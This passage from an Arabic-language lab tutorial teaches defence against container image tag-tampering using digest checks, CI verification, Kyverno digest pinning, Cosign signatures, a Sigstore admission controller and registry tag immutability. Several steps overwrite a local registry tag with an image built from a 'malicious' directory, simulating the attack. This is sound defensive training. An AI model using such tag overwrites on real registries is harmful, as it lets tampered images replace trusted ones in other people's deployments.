\u0645\u0642\u0627\u0631\u0646\u0629 Digest<\/h2>\n<p>\u0623\u0643\u062b\u0631 \u0622\u0644\u064a\u0627\u062a \u0627\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0623\u0633\u0627\u0633\u064a\u0629\u064b \u0647\u064a \u0645\u0642\u0627\u0631\u0646\u0629 digest. \u0646\u0638\u0631\u0627\u064b \u0644\u0623\u0646 \u0643\u0644 \u0635\u0648\u0631\u0629 \u0641\u0631\u064a\u062f\u0629 \u0644\u0647\u0627 SHA-256 digest \u0641\u0631\u064a\u062f\u060c \u0641\u0625\u0646 \u0623\u064a \u062a\u063a\u064a\u064a\u0631 \u2014 \u0645\u0647\u0645\u0627 \u0643\u0627\u0646 \u0635\u063a\u064a\u0631\u0627\u064b \u2014 \u064a\u0646\u062a\u062c hash \u0645\u062e\u062a\u0644\u0641\u0627\u064b \u062a\u0645\u0627\u0645\u0627\u064b.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u0633\u0643\u0631\u064a\u0628\u062a \u0627\u0644\u062a\u062d\u0642\u0642 \u0627\u0644\u064a\u062f\u0648\u064a<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u0633\u0643\u0631\u064a\u0628\u062a\u0627\u064b \u064a\u062a\u062d\u0642\u0642 \u0645\u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0648\u0633\u0645 \u0627\u0644\u0635\u0648\u0631\u0629 \u0644\u0627 \u064a\u0632\u0627\u0644 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 digest \u0627\u0644\u0645\u062a\u0648\u0642\u0639:<\/p>\n<pre><code>cat > \/tmp\/verify-digest.sh <<'SCRIPT'\n#!\/bin\/bash\nset -euo pipefail\n\nIMAGE=\"$1\"\nEXPECTED_DIGEST=\"$2\"\n\nCURRENT_DIGEST=$(crane digest \"$IMAGE\" 2>\/dev\/null)\n\nif [ \"$CURRENT_DIGEST\" = \"$EXPECTED_DIGEST\" ]; then\n  echo \"PASS: $IMAGE matches expected digest\"\n  echo \"  Digest: $CURRENT_DIGEST\"\n  exit 0\nelse\n  echo \"FAIL: $IMAGE has been TAMPERED WITH\"\n  echo \"  Expected: $EXPECTED_DIGEST\"\n  echo \"  Actual:   $CURRENT_DIGEST\"\n  exit 1\nfi\nSCRIPT\nchmod +x \/tmp\/verify-digest.sh<\/code><\/pre>\n<p>\u0634\u063a\u0651\u0644\u0647:<\/p>\n<pre><code># This will FAIL because the image was tampered in Exercise 2\n\/tmp\/verify-digest.sh localhost:5000\/myapp:v1.0.0 \"$ORIGINAL_DIGEST\"\n# Output: FAIL: localhost:5000\/myapp:v1.0.0 has been TAMPERED WITH<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u0627\u0644\u062f\u0645\u062c \u0641\u064a \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI \u2014 GitHub Actions<\/h3>\n<p>\u0627\u062f\u0645\u062c \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 digest \u0641\u064a \u062e\u0637 \u0623\u0646\u0627\u0628\u064a\u0628 CI\/CD \u0627\u0644\u062e\u0627\u0635 \u0628\u0643 \u062d\u062a\u0649 \u064a\u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641 \u0627\u0644\u0635\u0648\u0631 \u0627\u0644\u0645\u064f\u0639\u062f\u0651\u0644\u0629 \u0642\u0628\u0644 \u0627\u0644\u0646\u0634\u0631:<\/p>\n<pre><code>name: Verify Image Integrity\n\non:\n  workflow_dispatch:\n  push:\n    branches: [main]\n\nenv:\n  REGISTRY: ghcr.io\n  IMAGE_NAME: ${{ github.repository }}\/myapp\n\njobs:\n  verify-image:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Install crane\n        uses: imjasonh\/setup-crane@v0.4\n\n      - name: Log in to registry\n        uses: docker\/login-action@v3\n        with:\n          registry: ${{ env.REGISTRY }}\n          username: ${{ github.actor }}\n          password: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Verify image digest\n        env:\n          EXPECTED_DIGEST: ${{ vars.MYAPP_V1_DIGEST }}\n        run: |\n          IMAGE=\"${{ env.REGISTRY }}\/${{ env.IMAGE_NAME }}:v1.0.0\"\n          CURRENT_DIGEST=$(crane digest \"$IMAGE\")\n\n          echo \"Expected: $EXPECTED_DIGEST\"\n          echo \"Actual:   $CURRENT_DIGEST\"\n\n          if [ \"$CURRENT_DIGEST\" != \"$EXPECTED_DIGEST\" ]; then\n            echo \"::error::Image digest mismatch \u2014 possible tampering detected!\"\n            exit 1\n          fi\n\n          echo \"Image integrity verified.\"\n\n      - name: Verify all deployment images\n        run: |\n          # Parse digests from a tracked manifest file\n          while IFS='=' read -r image digest; do\n            CURRENT=$(crane digest \"$image\")\n            if [ \"$CURRENT\" != \"$digest\" ]; then\n              echo \"::error::TAMPERED: $image (expected $digest, got $CURRENT)\"\n              FAILED=1\n            else\n              echo \"OK: $image\"\n            fi\n          done < .\/deploy\/image-digests.txt\n\n          [ -z \"${FAILED:-}\" ] || exit 1<\/code><\/pre>\n<p>\u062e\u0632\u0651\u0646 \u0642\u064a\u0645 digest \u0627\u0644\u0645\u062a\u0648\u0642\u0639\u0629 \u0641\u064a \u0645\u0644\u0641 \u062e\u0627\u0636\u0639 \u0644\u0644\u062a\u062d\u0643\u0645 \u0628\u0627\u0644\u0625\u0635\u062f\u0627\u0631 (<code>deploy\/image-digests.txt<\/code>) \u062d\u062a\u0649 \u064a\u0645\u0631 \u0623\u064a \u062a\u063a\u064a\u064a\u0631 \u0639\u0644\u0649 \u0642\u064a\u0645 digest \u0627\u0644\u0645\u062a\u0648\u0642\u0639\u0629 \u0639\u0628\u0631 \u0645\u0631\u0627\u062c\u0639\u0629 \u0627\u0644\u0643\u0648\u062f:<\/p>\n<pre><code># deploy\/image-digests.txt\nghcr.io\/myorg\/myapp:v1.0.0=sha256:a1b2c3d4e5f6...\nghcr.io\/myorg\/myapp:v2.0.0=sha256:f6e5d4c3b2a1...<\/code><\/pre>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 4: \u0627\u0644\u062f\u0641\u0627\u0639 \u2014 \u062a\u062b\u0628\u064a\u062a Digest (Digest Pinning)<\/h2>\n<p>\u062a\u062b\u0628\u064a\u062a digest \u0647\u0648 \u0623\u0628\u0633\u0637 \u0648\u0623\u0643\u062b\u0631 \u0627\u0644\u062f\u0641\u0627\u0639\u0627\u062a \u0641\u0639\u0627\u0644\u064a\u0629 \u0636\u062f \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0648\u0633\u0648\u0645. \u0628\u062f\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0635\u0648\u0631\u0629 \u0639\u0628\u0631 \u0648\u0633\u0645\u0647\u0627 \u0627\u0644\u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u063a\u064a\u064a\u0631\u060c \u062a\u0634\u064a\u0631 \u0625\u0644\u064a\u0647\u0627 \u0639\u0628\u0631 digest \u063a\u064a\u0631 \u0627\u0644\u0642\u0627\u0628\u0644 \u0644\u0644\u062a\u063a\u064a\u064a\u0631.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0635\u0648\u0631\u0629 \u0641\u064a \u0645\u0644\u0641 Kubernetes Manifest<\/h3>\n<p>\u0627\u0633\u062a\u0628\u062f\u0644 \u0627\u0644\u0645\u0631\u0627\u062c\u0639 \u0627\u0644\u0645\u0628\u0646\u064a\u0629 \u0639\u0644\u0649 \u0627\u0644\u0648\u0633\u0648\u0645 \u0628\u0645\u0631\u0627\u062c\u0639 \u0645\u0628\u0646\u064a\u0629 \u0639\u0644\u0649 digest:<\/p>\n<pre><code># VULNERABLE: uses a mutable tag\n# image: localhost:5000\/myapp:v1.0.0\n\n# SECURE: pinned to an immutable digest\napiVersion: apps\/v1\nkind: Deployment\nmetadata:\n  name: myapp\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app: myapp\n  template:\n    metadata:\n      labels:\n        app: myapp\n    spec:\n      containers:\n      - name: myapp\n        image: localhost:5000\/myapp@sha256:a1b2c3d4e5f6...\n        ports:\n        - containerPort: 80<\/code><\/pre>\n<p>\u0645\u0639 \u062a\u062b\u0628\u064a\u062a digest\u060c \u062d\u062a\u0649 \u0644\u0648 \u0642\u0627\u0645 \u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u063a\u064a\u064a\u0631 \u0648\u0633\u0645 <code>v1.0.0<\/code>\u060c \u0641\u0625\u0646 \u0646\u0634\u0631\u0643 \u0644\u0627 \u064a\u0632\u0627\u0644 \u064a\u0633\u062d\u0628 \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0628\u0627\u0644\u0636\u0628\u0637 \u0628\u0648\u0627\u0633\u0637\u0629 digest \u0627\u0644\u0645\u064f\u062b\u0628\u0651\u062a. \u064a\u062d\u0644 registry \u0627\u0644\u0635\u0648\u0631 \u0628\u0648\u0627\u0633\u0637\u0629 digest \u0628\u0634\u0643\u0644 \u0645\u0633\u062a\u0642\u0644 \u0639\u0646 \u0627\u0644\u0648\u0633\u0648\u0645.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u0627\u062e\u062a\u0628\u0631\u0647\u0627<\/h3>\n<pre><code># Reset to clean image\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Tamper with the tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Pull by tag \u2014 gets the TAMPERED image\ndocker pull localhost:5000\/myapp:v1.0.0\n\n# Pull by digest \u2014 gets the ORIGINAL image\ndocker pull localhost:5000\/myapp@$ORIGINAL_DIGEST\n\n# Verify\ndocker run --rm localhost:5000\/myapp@$ORIGINAL_DIGEST cat \/usr\/share\/nginx\/html\/index.html\n# Output: Hello from the LEGITIMATE image<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3: \u0641\u0631\u0636 \u062a\u062b\u0628\u064a\u062a Digest \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Kyverno<\/h3>\n<p>\u0644\u0636\u0645\u0627\u0646 \u0639\u062f\u0645 \u0646\u0634\u0631 \u0623\u064a \u0639\u0636\u0648 \u0641\u064a \u0627\u0644\u0641\u0631\u064a\u0642 \u0645\u0631\u062c\u0639\u0627\u064b \u0645\u0628\u0646\u064a\u0627\u064b \u0639\u0644\u0649 \u0648\u0633\u0645 \u0639\u0646 \u0637\u0631\u064a\u0642 \u0627\u0644\u062e\u0637\u0623\u060c \u0627\u0633\u062a\u062e\u062f\u0645 \u0633\u064a\u0627\u0633\u0629 Kyverno \u0627\u0644\u062a\u064a \u062a\u0631\u0641\u0636 \u0623\u064a \u0645\u0648\u0627\u0635\u0641\u0627\u062a pod \u0644\u0627 \u062a\u0633\u062a\u062e\u062f\u0645 digest:<\/p>\n<pre><code>apiVersion: kyverno.io\/v1\nkind: ClusterPolicy\nmetadata:\n  name: require-image-digest\n  annotations:\n    policies.kyverno.io\/title: Require Image Digest\n    policies.kyverno.io\/description: >-\n      Requires all container images to be referenced by digest\n      rather than by tag, preventing tag-mutation attacks.\nspec:\n  validationFailureAction: Enforce\n  background: true\n  rules:\n  - name: check-image-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    validate:\n      message: \"Images must be referenced by digest (image@sha256:...), not by tag.\"\n      pattern:\n        spec:\n          containers:\n          - image: \"*@sha256:*\"\n  - name: check-init-container-digest\n    match:\n      any:\n      - resources:\n          kinds:\n          - Pod\n    preconditions:\n      all:\n      - key: \"{{ request.object.spec.initContainers[] || `[]` | length(@) }}\"\n        operator: GreaterThanOrEquals\n        value: 1\n    validate:\n      message: \"Init container images must be referenced by digest.\"\n      pattern:\n        spec:\n          initContainers:\n          - image: \"*@sha256:*\"<\/code><\/pre>\n<p>\u0637\u0628\u0651\u0642 \u0627\u0644\u0633\u064a\u0627\u0633\u0629 \u0648\u0627\u062e\u062a\u0628\u0631\u0647\u0627:<\/p>\n<pre><code>kubectl apply -f require-image-digest.yaml\n\n# This will be REJECTED (uses a tag)\nkubectl run test --image=localhost:5000\/myapp:v1.0.0\n# Error: Images must be referenced by digest (image@sha256:...), not by tag.\n\n# This will be ADMITTED (uses a digest)\nkubectl run test --image=localhost:5000\/myapp@sha256:a1b2c3d4e5f6...<\/code><\/pre>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 5: \u0627\u0644\u062f\u0641\u0627\u0639 \u2014 \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign<\/h2>\n<p>\u062a\u062b\u0628\u064a\u062a digest \u064a\u062e\u0628\u0631\u0643 <em>\u0623\u064a<\/em> \u0635\u0648\u0631\u0629 \u062a\u062b\u0642 \u0628\u0647\u0627\u060c \u0644\u0643\u0646\u0647 \u0644\u0627 \u064a\u062b\u0628\u062a <em>\u0645\u0646 \u0628\u0646\u0627\u0647\u0627<\/em>. \u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign \u062a\u0631\u0628\u0637 \u0647\u0648\u064a\u0629 \u062a\u0634\u0641\u064a\u0631\u064a\u0629 \u0628\u0640 digest \u0627\u0644\u0635\u0648\u0631\u0629\u060c \u0645\u0645\u0627 \u064a\u0645\u0643\u0651\u0646\u0643 \u0645\u0646 \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0645\u0635\u062f\u0631 (provenance).<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u0625\u0646\u0634\u0627\u0621 \u0632\u0648\u062c \u0645\u0641\u0627\u062a\u064a\u062d \u0627\u0644\u062a\u0648\u0642\u064a\u0639<\/h3>\n<pre><code>cosign generate-key-pair\n# Creates cosign.key (private) and cosign.pub (public)<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u0635\u0648\u0631\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629<\/h3>\n<p>\u0648\u0642\u0651\u0639 \u062f\u0627\u0626\u0645\u0627\u064b \u0628\u0648\u0627\u0633\u0637\u0629 digest\u060c \u0648\u0644\u064a\u0633 \u0628\u0648\u0627\u0633\u0637\u0629 \u0627\u0644\u0648\u0633\u0645:<\/p>\n<pre><code># Reset to clean image\ncd \/tmp\/lab-legitimate\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\nORIGINAL_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\n\n# Sign by digest\ncosign sign --key cosign.key --tlog-upload=false \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n\n# Verify the signature\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# Output: Verification for localhost:5000\/myapp@sha256:... --\n# The following checks were performed:\n# - The cosign claims were validated\n# - The signatures were verified against the specified public key<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3: \u0627\u0644\u062a\u0644\u0627\u0639\u0628 \u0628\u0627\u0644\u0648\u0633\u0645 \u0648\u0627\u0644\u062a\u062d\u0642\u0642<\/h3>\n<pre><code># Push the malicious image under the same tag\ncd \/tmp\/lab-malicious\ndocker build -t localhost:5000\/myapp:v1.0.0 .\ndocker push localhost:5000\/myapp:v1.0.0\n\n# Try to verify the tag \u2014 this will FAIL\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp:v1.0.0\n# Error: no matching signatures\n\n# Verify the original digest \u2014 this still PASSES\ncosign verify --key cosign.pub --insecure-ignore-tlog=true \\\n  localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# Output: Verified OK<\/code><\/pre>\n<p>\u0647\u0630\u0627 \u064a\u0648\u0636\u062d \u0627\u0644\u062e\u0627\u0635\u064a\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629: <strong>\u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign \u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0640 digests \u0648\u0644\u064a\u0633 \u0628\u0627\u0644\u0648\u0633\u0648\u0645.<\/strong> \u0639\u0646\u062f\u0645\u0627 \u064a\u0642\u0648\u0645 \u0645\u0647\u0627\u062c\u0645 \u0628\u062a\u063a\u064a\u064a\u0631 \u0648\u0633\u0645\u060c \u0644\u0627 \u064a\u062a\u0628\u0639\u0647 \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u2014 \u064a\u0628\u0642\u0649 \u0645\u0631\u062a\u0628\u0637\u0627\u064b \u0628\u0640 digest \u0627\u0644\u0623\u0635\u0644\u064a. \u0627\u0644\u062a\u062d\u0642\u0642 \u0636\u062f \u0627\u0644\u0648\u0633\u0645 \u064a\u0641\u0634\u0644 \u0644\u0623\u0646 \u0627\u0644\u0648\u0633\u0645 \u0627\u0644\u0622\u0646 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0635\u0648\u0631\u0629 \u063a\u064a\u0631 \u0645\u0648\u0642\u0651\u0639\u0629.<\/p>\n<h3>\u0644\u0645\u0627\u0630\u0627 \u0647\u0630\u0627 \u0645\u0647\u0645<\/h3>\n<p>\u0627\u0644\u062a\u0648\u0642\u064a\u0639\u0627\u062a \u062a\u0648\u0641\u0631 \u0633\u0644\u0633\u0644\u0629 \u062b\u0642\u0629 \u0645\u0646 \u0627\u0644\u0628\u0627\u0646\u064a \u0625\u0644\u0649 \u0627\u0644\u0646\u0627\u0634\u0631. \u062d\u062a\u0649 \u0644\u0648 \u062d\u0635\u0644 \u0645\u0647\u0627\u062c\u0645 \u0639\u0644\u0649 \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0627\u0644\u062f\u0641\u0639 \u0625\u0644\u0649 registry \u0627\u0644\u062e\u0627\u0635 \u0628\u0643\u060c \u0644\u0627 \u064a\u0645\u0643\u0646\u0647 \u062a\u0632\u0648\u064a\u0631 \u062a\u0648\u0642\u064a\u0639 \u0635\u0627\u0644\u062d \u0628\u062f\u0648\u0646 \u0645\u0641\u062a\u0627\u062d \u0627\u0644\u062a\u0648\u0642\u064a\u0639 \u0627\u0644\u062e\u0627\u0635 \u0628\u0643. \u0628\u0627\u0644\u0627\u0642\u062a\u0631\u0627\u0646 \u0645\u0639 \u062a\u062b\u0628\u064a\u062a digest\u060c \u062a\u0645\u0646\u062d\u0643 \u0627\u0644\u062a\u0648\u0642\u064a\u0639\u0627\u062a \u0643\u0644\u0627\u064b \u0645\u0646 \u0627\u0644\u0633\u0644\u0627\u0645\u0629 (\u0627\u0644\u0635\u0648\u0631\u0629 \u0644\u0645 \u064a\u062a\u0645 \u062a\u0639\u062f\u064a\u0644\u0647\u0627) \u0648\u0627\u0644\u0623\u0635\u0627\u0644\u0629 (\u0627\u0644\u0635\u0648\u0631\u0629 \u0628\u064f\u0646\u064a\u062a \u0645\u0646 \u0642\u0628\u0644 \u0637\u0631\u0641 \u0645\u0648\u062b\u0648\u0642).<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 6: \u0627\u0644\u062f\u0641\u0627\u0639 \u2014 \u0641\u0631\u0636 \u0645\u062a\u062d\u0643\u0645 \u0627\u0644\u0642\u0628\u0648\u0644 (Admission Controller)<\/h2>\n<p>\u062a\u062b\u0628\u064a\u062a digest \u0648\u0627\u0644\u062a\u0648\u0642\u064a\u0639\u0627\u062a \u0641\u0639\u0651\u0627\u0644\u0629 \u0641\u0642\u0637 \u0625\u0630\u0627 \u062a\u0645 \u0641\u0631\u0636\u0647\u0627 \u0628\u0634\u0643\u0644 \u0645\u0633\u062a\u0645\u0631. \u064a\u0624\u062a\u0645\u062a \u0645\u062a\u062d\u0643\u0645 \u0627\u0644\u0642\u0628\u0648\u0644 \u0647\u0630\u0627 \u0627\u0644\u0641\u0631\u0636 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 \u0648\u0627\u062c\u0647\u0629 \u0628\u0631\u0645\u062c\u0629 Kubernetes\u060c \u0631\u0627\u0641\u0636\u0627\u064b \u0623\u064a \u0639\u0628\u0621 \u0639\u0645\u0644 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0635\u0648\u0631\u0629 \u063a\u064a\u0631 \u0645\u0648\u0642\u0651\u0639\u0629 \u0623\u0648 \u063a\u064a\u0631 \u0645\u0648\u062b\u0642\u0629.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1: \u0625\u0646\u0634\u0627\u0621 \u0645\u062c\u0645\u0648\u0639\u0629 Kind<\/h3>\n<pre><code>kind create cluster --name sigstore-lab\n\n# Configure the cluster to access the local registry\ndocker network connect kind registry\nkubectl cluster-info --context kind-sigstore-lab<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2: \u062a\u062b\u0628\u064a\u062a Sigstore Policy Controller<\/h3>\n<pre><code>helm repo add sigstore https:\/\/sigstore.github.io\/helm-charts\nhelm repo update\n\nhelm install policy-controller sigstore\/policy-controller \\\n  --namespace cosign-system \\\n  --create-namespace \\\n  --set webhook.configMapName=policy-controller-config<\/code><\/pre>\n<p>\u0627\u0646\u062a\u0638\u0631 \u062d\u062a\u0649 \u064a\u0635\u0628\u062d \u0627\u0644\u0645\u062a\u062d\u0643\u0645 \u062c\u0627\u0647\u0632\u0627\u064b:<\/p>\n<pre><code>kubectl -n cosign-system rollout status deploy\/policy-controller-webhook<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3: \u0625\u0646\u0634\u0627\u0621 \u0633\u064a\u0627\u0633\u0629 \u0627\u0644\u062a\u062d\u0642\u0642<\/h3>\n<pre><code># Create a secret with the Cosign public key\nkubectl create secret generic cosign-pub-key \\\n  --from-file=cosign.pub=cosign.pub \\\n  -n cosign-system\n\n# Label the namespace to enable enforcement\nkubectl label namespace default \\\n  policy.sigstore.dev\/include=true<\/code><\/pre>\n<p>\u0623\u0646\u0634\u0626 <code>ClusterImagePolicy<\/code> \u062a\u062a\u0637\u0644\u0628 \u062a\u0648\u0642\u064a\u0639 Cosign \u0635\u0627\u0644\u062d\u0627\u064b \u0644\u062c\u0645\u064a\u0639 \u0627\u0644\u0635\u0648\u0631 \u0645\u0646 registry \u0627\u0644\u062e\u0627\u0635 \u0628\u0643:<\/p>\n<pre><code>apiVersion: policy.sigstore.dev\/v1beta1\nkind: ClusterImagePolicy\nmetadata:\n  name: require-signature\nspec:\n  images:\n  - glob: \"localhost:5000\/**\"\n  authorities:\n  - key:\n      secretRef:\n        name: cosign-pub-key\n        namespace: cosign-system\n      hashAlgorithm: sha256<\/code><\/pre>\n<pre><code>kubectl apply -f cluster-image-policy.yaml<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 4: \u0627\u062e\u062a\u0628\u0627\u0631 \u0627\u0644\u0641\u0631\u0636<\/h3>\n<pre><code># Deploy with the SIGNED image (by digest) \u2014 ADMITTED\nkubectl run signed-app \\\n  --image=localhost:5000\/myapp@${ORIGINAL_DIGEST}\n# pod\/signed-app created\n\n# Deploy with the TAMPERED image (unsigned) \u2014 REJECTED\nTAMPERED_DIGEST=$(crane digest localhost:5000\/myapp:v1.0.0)\nkubectl run tampered-app \\\n  --image=localhost:5000\/myapp@${TAMPERED_DIGEST}\n# Error from server (BadRequest): admission webhook \"policy.sigstore.dev\" denied the request:\n# validation failed: failed policy: require-signature: \n# spec.containers[0].image signature verification failed<\/code><\/pre>\n<p>\u064a\u062d\u0638\u0631 \u0645\u062a\u062d\u0643\u0645 \u0627\u0644\u0642\u0628\u0648\u0644 \u062a\u0644\u0642\u0627\u0626\u064a\u0627\u064b \u0623\u064a \u0635\u0648\u0631\u0629 \u0644\u064a\u0633 \u0644\u0647\u0627 \u062a\u0648\u0642\u064a\u0639 \u0635\u0627\u0644\u062d \u0645\u0646 \u0645\u0641\u062a\u0627\u062d\u0643 \u0627\u0644\u0645\u0648\u062b\u0648\u0642. \u0647\u0630\u0627 \u064a\u064f\u063a\u0644\u0642 \u0627\u0644\u062d\u0644\u0642\u0629 \u2014 \u062d\u062a\u0649 \u0644\u0648 \u062f\u0641\u0639 \u0645\u0647\u0627\u062c\u0645 \u0635\u0648\u0631\u0629 \u0645\u064f\u0639\u062f\u0651\u0644\u0629\u060c \u0644\u0627 \u064a\u0645\u0643\u0646\u0647\u0627 \u0627\u0644\u0639\u0645\u0644 \u0641\u064a \u0645\u062c\u0645\u0648\u0639\u062a\u0643.<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 7: \u062b\u0628\u0627\u062a Registry (Registry Immutability)<\/h2>\n<p>\u0627\u0644\u0647\u062c\u0645\u0627\u062a \u0641\u064a \u0627\u0644\u062a\u0645\u0631\u064a\u0646\u064a\u0646 1 \u0648 2 \u0645\u0645\u0643\u0646\u0629 \u0641\u0642\u0637 \u0644\u0623\u0646 registry \u064a\u0633\u0645\u062d \u0628\u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642 \u0627\u0644\u0648\u0633\u0648\u0645. \u062a\u062f\u0639\u0645 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u062e\u062f\u0645\u0627\u062a registry \u0627\u0644\u0645\u064f\u062f\u0627\u0631\u0629 <strong>\u062b\u0628\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645 (tag immutability)<\/strong>\u060c \u0645\u0645\u0627 \u064a\u0645\u0646\u0639 \u0623\u064a \u0639\u0645\u0644\u064a\u0629 \u062f\u0641\u0639 \u0625\u0644\u0649 \u0648\u0633\u0645 \u0645\u0648\u062c\u0648\u062f.<\/p>\n<h3>AWS ECR: \u062a\u0641\u0639\u064a\u0644 \u062b\u0628\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645<\/h3>\n<pre><code># Enable immutable tags on an existing repository\naws ecr put-image-tag-mutability \\\n  --repository-name myapp \\\n  --image-tag-mutability IMMUTABLE\n\n# Verify the setting\naws ecr describe-repositories --repository-names myapp \\\n  | jq '.repositories[0].imageTagMutability'\n# Output: \"IMMUTABLE\"<\/code><\/pre>\n<p>\u0645\u0639 \u062a\u0641\u0639\u064a\u0644 \u0627\u0644\u062b\u0628\u0627\u062a\u060c \u064a\u062a\u0645 \u0631\u0641\u0636 \u0623\u064a \u0645\u062d\u0627\u0648\u0644\u0629 \u0644\u0644\u062f\u0641\u0639 \u0625\u0644\u0649 \u0648\u0633\u0645 \u0645\u0648\u062c\u0648\u062f:<\/p>\n<pre><code>docker push 123456789.dkr.ecr.us-east-1.amazonaws.com\/myapp:v1.0.0\n# Error: tag invalid: The image tag 'v1.0.0' already exists in the 'myapp' repository\n# and cannot be overwritten because the repository is immutable.<\/code><\/pre>\n<h3>Google Artifact Registry: \u062a\u0641\u0639\u064a\u0644 \u062b\u0628\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645<\/h3>\n<pre><code>gcloud artifacts repositories update myapp-repo \\\n  --location=us-central1 \\\n  --immutable-tags<\/code><\/pre>\n<h3>Azure ACR: \u062a\u0641\u0639\u064a\u0644 \u0642\u0641\u0644 \u0627\u0644\u0648\u0633\u0648\u0645<\/h3>\n<pre><code>az acr repository update \\\n  --name myregistry \\\n  --image myapp:v1.0.0 \\\n  --write-enabled false<\/code><\/pre>\n<h3>Docker Hub \u0648 GHCR<\/h3>\n<p>\u0644\u0627 \u064a\u062f\u0639\u0645 Docker Hub \u0648 GitHub Container Registry \u062d\u0627\u0644\u064a\u0627\u064b \u062b\u0628\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645 \u0639\u0644\u0649 \u0645\u0633\u062a\u0648\u0649 registry. \u0644\u0647\u0630\u0647 \u0627\u0644\u062e\u062f\u0645\u0627\u062a\u060c \u0627\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u062a\u0648\u0642\u064a\u0639\u0627\u062a Cosign \u0648\u0645\u062a\u062d\u0643\u0645\u0627\u062a \u0627\u0644\u0642\u0628\u0648\u0644 \u0643\u062e\u0637 \u062f\u0641\u0627\u0639\u0643 \u0627\u0644\u0623\u0633\u0627\u0633\u064a.<\/p>\n<h3>\u0627\u0644\u0645\u0642\u0627\u064a\u0636\u0627\u062a<\/h3>\n<p>\u062b\u0628\u0627\u062a \u0627\u0644\u0648\u0633\u0648\u0645 \u064a\u0645\u0646\u0639 \u0627\u0644\u0643\u062a\u0627\u0628\u0629 \u0641\u0648\u0642\u0647\u0627 \u0644\u0643\u0646\u0647 \u064a\u0645\u0646\u0639 \u0623\u064a\u0636\u0627\u064b \u0633\u064a\u0646\u0627\u0631\u064a\u0648\u0647\u0627\u062a \u0625\u0639\u0627\u062f\u0629 \u0627\u0644\u0648\u0633\u0645 \u0627\u0644\u0645\u0634\u0631\u0648\u0639\u0629 (\u0645\u062b\u0644 \u062a\u0631\u0642\u064a\u0629 \u0635\u0648\u0631\u0629 \u0645\u0646 <code>staging<\/code> \u0625\u0644\u0649 <code>production<\/code> \u0628\u0625\u0639\u0627\u062f\u0629 \u0648\u0633\u0645\u0647\u0627). \u062e\u0637\u0637 